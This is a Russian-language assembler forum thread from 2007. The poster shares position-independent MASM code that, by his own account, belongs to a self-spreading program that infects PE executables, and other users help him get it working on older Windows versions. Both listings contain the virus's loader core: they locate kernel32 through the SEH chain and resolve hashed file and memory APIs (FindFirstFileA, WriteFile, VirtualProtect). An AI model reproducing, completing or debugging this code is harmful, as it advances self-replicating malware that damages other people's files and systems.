Странное поведение

Тема в разделе "WASM.ASSEMBLER", создана пользователем Crash, 14 мар 2007.

  1. Crash

    Crash New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2004
    Сообщения:
    73
    Есть следующий код на MASM. Код базонезависимый. Сначала производится поиск адресов нужных API функций известным методом (поиск базы kernel32 и сравнение хешей), затем - вывод пустого MessageBox.

    Проблема в том, что все нормально работает в WinXP\2k3. Но на системах старше ничего при запуске не происходит. MessageBox не выводится.

    Этот код используется в самораспространяющейся программе, заражающей PE-файлы. Так вот еще одна интересная деталь: если какую-нибудь программу заразить подобным кодом, то нормально работает и в Win2k (в остальных не проверял). А вот первое поколение не хочет работать.

    Компилирую так:

    ml /nologo /c /coff test.asm
    link /nologo /subsystem:windows /out:test.exe /SECTION:.text,w test.obj

    В итоге получается программка в 1 Кб.

    Код (Text):
    1. .386
    2. .model flat, stdcall
    3.  
    4. pushz macro szText:VARARG
    5.     local nexti
    6.     call  nexti
    7.     db    szText, 0
    8. nexti:
    9. endm
    10.  
    11. .code
    12. start:
    13.  
    14.     ; Получаем дельта-смещение
    15.     Call    _Delta
    16. _Delta:
    17.     sub  dword ptr [esp], offset _Delta  ; delta_off
    18.     push dword ptr [esp]                 ; [ebp+4*5]
    19.  
    20. _ReadSEH:
    21.     xor    edx, edx
    22.     assume fs:flat
    23.     mov    eax, fs:[edx]                 ; читаем элемент SEH
    24.     dec    edx                           ; edx = -1
    25.  
    26. _SearchK32:
    27.     cmp    [eax], edx                    ; встретили нужный?
    28.     je     _CheckK32
    29.     mov    eax, [eax]                    ; получаем следующее значение
    30.     jmp    _SearchK32
    31.  
    32. _CheckK32:
    33.     mov    eax, [eax + 4]                ; получаем адрес ГДЕ-ТО в kernel32.dll
    34.     xor    ax, ax                        ; выравниваем полученный адрес
    35.  
    36. _SearchMZ:          
    37.     cmp word ptr [eax], 5A4Dh            ; сверяем сигнатуру
    38.     je  _CheckMZ
    39.     sub eax, 10000h                      ; если не равна MZ, то ищем дальше
    40.     jmp _SearchMZ
    41.  
    42. _CheckMZ:  
    43.     mov  edx, [eax + 3Ch]                ; переходим на PE заголовок
    44.     cmp  word ptr [eax + edx], 4550h     ; сверяем сигнатуру
    45.     jne  _Exit
    46.    
    47. _SearchAPI:
    48.     mov   esi, [eax + edx + 78h]
    49.     add   esi, eax
    50.     add   esi, 18h
    51.     xchg  eax, ebx
    52.     lodsd                                ; получаем число указателей на имена
    53.     push  eax                            ; [ebp+4*4]
    54.     lodsd                                ; получаем RVA таблицы экспорта
    55.     push  eax                            ; [ebp+4*3]
    56.     lodsd                                ; получаем RVA таблицы указателей на имена
    57.     push  eax                            ; [ebp+4*2]
    58.     add   eax, ebx
    59.     push  eax                            ; Указатель на таблицу имен [ebp+4*1]
    60.     lodsd                                ; получим RVA на таблицу ординалов
    61.     push  eax                            ; [ebp]
    62.     mov   edi, [esp+4*5]                 ; edi = дельта_смещение
    63.     lea   edi, [edi+HashTable]           ; edi указывает на начало HashTable
    64.     mov   ebp, esp                       ; сохраняем базу стека
    65.  
    66. _BeginSearch:
    67.     mov   ecx, [ebp+4*4]                 ; число имен функций
    68.     xor   edx, edx                       ; здесь хранится порядковый номер функции (от 0)
    69.  
    70. _SearchAPIName:          
    71.     mov  esi, [ebp+4*1]
    72.     mov  esi, [esi]
    73.     add  esi, ebx                        ; адрес ASСII-имени очередной API-функции
    74.  
    75. ; подсчет хэш-значения от имени функции
    76. _GetHash:
    77.     xor  eax, eax
    78.     push eax
    79. _CalcHash:
    80.     ror  eax,7
    81.     xor  [esp],eax
    82.     lodsb
    83.     test al, al
    84.     jnz  _CalcHash
    85.     pop  eax
    86.  
    87. ; хэш подсчитан
    88. OkHash:
    89.     cmp  eax, [edi]                 ; сверяем полученный hash с тем что в таблице HashTable
    90.     je   _OkAPI                     ; переходим на вычисление адреса функции
    91.     add  dword ptr [ebp+4*1], 4     ; сдвигаемся к другому элементу таблицы экспорта
    92.     inc  edx
    93.     loop _SearchAPIName
    94.     jmp  _Exit                            
    95.  
    96. ; вычисляем адрес функции
    97. _OkAPI:
    98.     shl  edx, 1                     ; номер функции
    99.     mov  ecx, [ebp]                 ; берем указатель на таблицу ординалов
    100.     add  ecx, ebx
    101.     add  ecx, edx
    102.     mov  ecx, [ecx]
    103.     and  ecx, 0FFFFh
    104.     mov  edx, [ebp+4*3]             ; извлекаем RVA таблицы экспорта
    105.     add  edx, ebx
    106.     shl  ecx, 2
    107.     add  edx, ecx
    108.     mov  edx, [edx]
    109.     add  edx, ebx
    110.     push edx                        ; сохраняем адрес найденной функции в стеке
    111.     cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    112.     je   _Call_API
    113.     add  edi, 4                     ; следующее hash-значение функции
    114.  
    115. _NextName:          
    116.     mov  ecx, [ebp+4*2]             ; восстанавливаем начало таблицы экспорта
    117.     add  ecx, ebx
    118.     mov  [ebp+4*1], ecx             ; Index в таблице имен
    119.     jmp  short _BeginSearch
    120.  
    121. ; Загружаем user32.dll
    122.     pushz "user32.dll"
    123.     call  LoadLibrary
    124.  
    125.     ; Находим MessageBoxA
    126.     pushz "MessageBoxA"
    127.     push  eax
    128.     call  GetProcAddress
    129.  
    130.     ; Вызываем MessageBoxA
    131.     push  0
    132.     push  0
    133.     push  0
    134.     push  0
    135.     call  eax
    136.  
    137. _Exit:
    138.     push 0
    139.     call ExitProcess
    140.  
    141. data:
    142.  
    143. delta_off           equ [ebp+18h]
    144. CloseHandle         equ dword ptr [ebp-4*1]
    145. FindFirstFileA      equ dword ptr [ebp-4*2]
    146. FindNextFileA       equ dword ptr [ebp-4*3]
    147. CreateFileA         equ dword ptr [ebp-4*4]
    148. ReadFile            equ dword ptr [ebp-4*5]
    149. GlobalAlloc         equ dword ptr [ebp-4*6]
    150. GetFileSize         equ dword ptr [ebp-4*7]
    151. SetFilePointer      equ dword ptr [ebp-4*8]
    152. WriteFile           equ dword ptr [ebp-4*9]              
    153. GlobalFree          equ dword ptr [ebp-4*10]
    154. VirtualProtect      equ dword ptr [ebp-4*11]
    155. ExitProcess         equ dword ptr [ebp-4*12]
    156. GetProcAddress      equ dword ptr [ebp-4*13]
    157. LoadLibrary         equ dword ptr [ebp-4*14]
    158. FindClose           equ dword ptr [ebp-4*15]
    159. GetModuleFileNameA  equ dword ptr [ebp-4*16]
    160. SetCurrentDirectoryA equ dword ptr [ebp-4*17]
    161. FreeLibrary         equ dword ptr [ebp-4*18]
    162.  
    163. ;--------------------------------------------------------------------
    164. ; Таблица хешей
    165. HashTable:
    166. dd 0F867A91Eh ; CloseHandle
    167. dd 03165E506h ; FindFirstFileA
    168. dd 0CA920AD8h ; FindNextFileA
    169. dd 0860B38BCh ; CreateFileA
    170. dd 029C4EF46h ; ReadFile
    171. dd 0CC17506Ch ; GlobalAlloc
    172. dd 0AAC2523Eh ; GetFileSize
    173. dd 07F3545C6h ; SetFilePointer
    174. dd 0F67B91BAh ; WriteFile
    175. dd 03FE8FED4h ; GlobalFree
    176. dd 015F8EF80h ; VirtualProtect
    177. dd 0D66358ECh ; ExitProcess
    178. dd 05D7574B6h ; GetProcAddress
    179. dd 071E40722h ; LoadLibraryA
    180. dd 0E65B28ACh ; FindClose
    181. dd 059B44650h ; GetModuleFileNameA
    182. dd 00709DC94h ; SetCurrentDirectoryA
    183. dd 0D64B001Eh ; FreeLibrary
    184. dw 0FFFFh     ; Признак конца таблицы
    185. ;--------------------------------------------------------------------
    186.  
    187.  
    188. end start
     
  2. slow

    slow New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2004
    Сообщения:
    615
    что имеешь в виду? висту?
     
  3. cppasm

    cppasm New Member

    Публикаций:
    0
    Регистрация:
    18 июл 2006
    Сообщения:
    923
    Не, наверное 9x.
    У него возрастная оценка - кто раньше родился тот старше. :)
     
  4. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    Отлаживать пробовал в
    ?
     
  5. Crash

    Crash New Member

    Публикаций:
    0
    Регистрация:
    23 авг 2004
    Сообщения:
    73
    Я имел ввиду Win 9x\Me\NT\2000. Проблему решил. Кому интересно, код теперь следующий.
    Но все-таки интересно, почему без вызова
    invoke ExitProcess, 0
    перед меткой start ничего не работает...

    Код (Text):
    1. .386
    2. .model flat, stdcall
    3.  
    4. pushz macro szText:VARARG
    5.     local nexti
    6.     call  nexti
    7.     db    szText, 0
    8. nexti:
    9. endm
    10.  
    11. includelib kernel32.lib
    12. extrn ExitProcess:dword
    13.  
    14. .data
    15.     dd 0
    16.  
    17. .code
    18.     invoke ExitProcess, 0
    19. start:
    20.  
    21.     ; Получаем дельта-смещение
    22.     Call    _Delta
    23. _Delta:
    24.     sub  dword ptr [esp], offset _Delta  ; delta_off
    25.     push dword ptr [esp]                 ; [ebp+4*5]
    26.  
    27. _ReadSEH:
    28.     xor    edx, edx
    29.     assume fs:flat
    30.     mov    eax, fs:[edx]                 ; читаем элемент SEH
    31.     dec    edx                           ; edx = -1
    32.  
    33. _SearchK32:
    34.     cmp    [eax], edx                    ; встретили нужный?
    35.     je     _CheckK32
    36.     mov    eax, [eax]                    ; получаем следующее значение
    37.     jmp    _SearchK32
    38.  
    39. _CheckK32:
    40.     mov    eax, [eax + 4]                ; получаем адрес ГДЕ-ТО в kernel32.dll
    41.     xor    ax, ax                        ; выравниваем полученный адрес
    42.  
    43. _SearchMZ:          
    44.     cmp word ptr [eax], 5A4Dh            ; сверяем сигнатуру
    45.     je  _CheckMZ
    46.     sub eax, 10000h                      ; если не равна MZ, то ищем дальше
    47.     jmp _SearchMZ
    48.  
    49. _CheckMZ:  
    50.     mov  edx, [eax + 3Ch]                ; переходим на PE заголовок
    51.     cmp  word ptr [eax + edx], 4550h     ; сверяем сигнатуру
    52.     jne  _Exit
    53.    
    54. _SearchAPI:
    55.     mov   esi, [eax + edx + 78h]
    56.     add   esi, eax
    57.     add   esi, 18h
    58.     xchg  eax, ebx
    59.     lodsd                                ; получаем число указателей на имена
    60.     push  eax                            ; [ebp+4*4]
    61.     lodsd                                ; получаем RVA таблицы экспорта
    62.     push  eax                            ; [ebp+4*3]
    63.     lodsd                                ; получаем RVA таблицы указателей на имена
    64.     push  eax                            ; [ebp+4*2]
    65.     add   eax, ebx
    66.     push  eax                            ; Указатель на таблицу имен [ebp+4*1]
    67.     lodsd                                ; получим RVA на таблицу ординалов
    68.     push  eax                            ; [ebp]
    69.     mov   edi, [esp+4*5]                 ; edi = дельта_смещение
    70.     lea   edi, [edi+HashTable]           ; edi указывает на начало HashTable
    71.     mov   ebp, esp                       ; сохраняем базу стека
    72.  
    73. _BeginSearch:
    74.     mov   ecx, [ebp+4*4]                 ; число имен функций
    75.     xor   edx, edx                       ; здесь хранится порядковый номер функции (от 0)
    76.  
    77. _SearchAPIName:          
    78.     mov  esi, [ebp+4*1]
    79.     mov  esi, [esi]
    80.     add  esi, ebx                        ; адрес ASСII-имени очередной API-функции
    81.  
    82. ; подсчет хэш-значения от имени функции
    83. _GetHash:
    84.     xor  eax, eax
    85.     push eax
    86. _CalcHash:
    87.     ror  eax,7
    88.     xor  [esp],eax
    89.     lodsb
    90.     test al, al
    91.     jnz  _CalcHash
    92.     pop  eax
    93.  
    94. ; хэш подсчитан
    95. OkHash:
    96.     cmp  eax, [edi]                 ; сверяем полученный hash с тем что в таблице HashTable
    97.     je   _OkAPI                     ; переходим на вычисление адреса функции
    98.     add  dword ptr [ebp+4*1], 4     ; сдвигаемся к другому элементу таблицы экспорта
    99.     inc  edx
    100.     loop _SearchAPIName
    101.     jmp  _Exit                            
    102.  
    103. ; вычисляем адрес функции
    104. _OkAPI:
    105.     shl  edx, 1                     ; номер функции
    106.     mov  ecx, [ebp]                 ; берем указатель на таблицу ординалов
    107.     add  ecx, ebx
    108.     add  ecx, edx
    109.     mov  ecx, [ecx]
    110.     and  ecx, 0FFFFh
    111.     mov  edx, [ebp+4*3]             ; извлекаем RVA таблицы экспорта
    112.     add  edx, ebx
    113.     shl  ecx, 2
    114.     add  edx, ecx
    115.     mov  edx, [edx]
    116.     add  edx, ebx
    117.     push edx                        ; сохраняем адрес найденной функции в стеке
    118.     cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    119.     je   _Call_API
    120.     add  edi, 4                     ; следующее hash-значение функции
    121.  
    122. _NextName:          
    123.     mov  ecx, [ebp+4*2]             ; восстанавливаем начало таблицы экспорта
    124.     add  ecx, ebx
    125.     mov  [ebp+4*1], ecx             ; Index в таблице имен
    126.     jmp  short _BeginSearch
    127.  
    128. ; Загружаем user32.dll
    129.     pushz "user32.dll"
    130.     call  LoadLibrary
    131.  
    132.     ; Находим MessageBoxA
    133.     pushz "MessageBoxA"
    134.     push  eax
    135.     call  GetProcAddress
    136.  
    137.     ; Вызываем MessageBoxA
    138.     push  0
    139.     pushz "Title"
    140.     pushz "Text"
    141.     push  0
    142.     call  eax
    143.  
    144. _Exit:
    145.     push 0
    146.     call _ExitProcess
    147.  
    148. data:
    149.  
    150. delta_off           equ [ebp+18h]
    151. CloseHandle         equ dword ptr [ebp-4*1]
    152. FindFirstFileA      equ dword ptr [ebp-4*2]
    153. FindNextFileA       equ dword ptr [ebp-4*3]
    154. CreateFileA         equ dword ptr [ebp-4*4]
    155. ReadFile            equ dword ptr [ebp-4*5]
    156. GlobalAlloc         equ dword ptr [ebp-4*6]
    157. GetFileSize         equ dword ptr [ebp-4*7]
    158. SetFilePointer      equ dword ptr [ebp-4*8]
    159. WriteFile           equ dword ptr [ebp-4*9]              
    160. GlobalFree          equ dword ptr [ebp-4*10]
    161. VirtualProtect      equ dword ptr [ebp-4*11]
    162. _ExitProcess         equ dword ptr [ebp-4*12]
    163. GetProcAddress      equ dword ptr [ebp-4*13]
    164. LoadLibrary         equ dword ptr [ebp-4*14]
    165. FindClose           equ dword ptr [ebp-4*15]
    166. GetModuleFileNameA  equ dword ptr [ebp-4*16]
    167. SetCurrentDirectoryA equ dword ptr [ebp-4*17]
    168. FreeLibrary         equ dword ptr [ebp-4*18]
    169.  
    170. ;--------------------------------------------------------------------
    171. ; Таблица хешей
    172. HashTable:
    173. dd 0F867A91Eh ; CloseHandle
    174. dd 03165E506h ; FindFirstFileA
    175. dd 0CA920AD8h ; FindNextFileA
    176. dd 0860B38BCh ; CreateFileA
    177. dd 029C4EF46h ; ReadFile
    178. dd 0CC17506Ch ; GlobalAlloc
    179. dd 0AAC2523Eh ; GetFileSize
    180. dd 07F3545C6h ; SetFilePointer
    181. dd 0F67B91BAh ; WriteFile
    182. dd 03FE8FED4h ; GlobalFree
    183. dd 015F8EF80h ; VirtualProtect
    184. dd 0D66358ECh ; ExitProcess
    185. dd 05D7574B6h ; GetProcAddress
    186. dd 071E40722h ; LoadLibraryA
    187. dd 0E65B28ACh ; FindClose
    188. dd 059B44650h ; GetModuleFileNameA
    189. dd 00709DC94h ; SetCurrentDirectoryA
    190. dd 0D64B001Eh ; FreeLibrary
    191. dw 0FFFFh     ; Признак конца таблицы
    192. ;--------------------------------------------------------------------
    193.  
    194.  
    195. end start
     
  6. yuzvir

    yuzvir New Member

    Публикаций:
    0
    Регистрация:
    20 май 2005
    Сообщения:
    97
    Наверное потому что файлы без импортов на win2k нормально не работают
     
  7. requiem

    requiem New Member

    Публикаций:
    0
    Регистрация:
    4 сен 2005
    Сообщения:
    71
    yuzvir
    ну вот протестируй :)
     
  8. yuzvir

    yuzvir New Member

    Публикаций:
    0
    Регистрация:
    20 май 2005
    Сообщения:
    97
    requiem
    Нормальный файл с импортами, чего его тестировать?